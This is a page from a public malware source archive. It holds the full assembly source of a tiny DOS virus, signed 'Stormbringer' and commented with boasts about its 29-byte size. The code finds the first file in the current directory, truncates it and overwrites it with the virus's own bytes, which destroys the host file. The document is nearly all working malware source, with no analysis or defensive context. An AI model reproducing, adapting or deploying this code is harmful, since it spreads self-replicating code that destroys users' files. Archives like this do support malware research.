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https://github.com/vxunderground/MalwareSourceCode
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36 lines
908 B
NASM
36 lines
908 B
NASM
;Smallest in the trivial series of viruses, I think....
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;Last I saw was 30 bytes - this one goes to 29.
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;Code by Stormbringer... stupid virus, but small.
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.model tiny
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.radix 16
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.code
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org 100
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start:
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FindFile:
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xchg cx,ax ;ax defaults to zero on runtime - cx doesn't
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push si ;si defaults to 100h under dos - use this l8r
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mov dx,offset filemask
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mov ah,4e
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int 21
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OverwriteFile:
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mov dx,9e
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mov ah,3c
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int 21
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WriteVirus:
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xchg bx,ax
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mov ah,40
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pop dx ;get 100h from si earlier for write pointer
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mov cl,endvir-start ;move only to CL, CH is already zero
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int 21
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Terminate:
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ret ;terminate by returning to PSP (Int 20)
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filemask db '*.*',0
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endvir:
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end start
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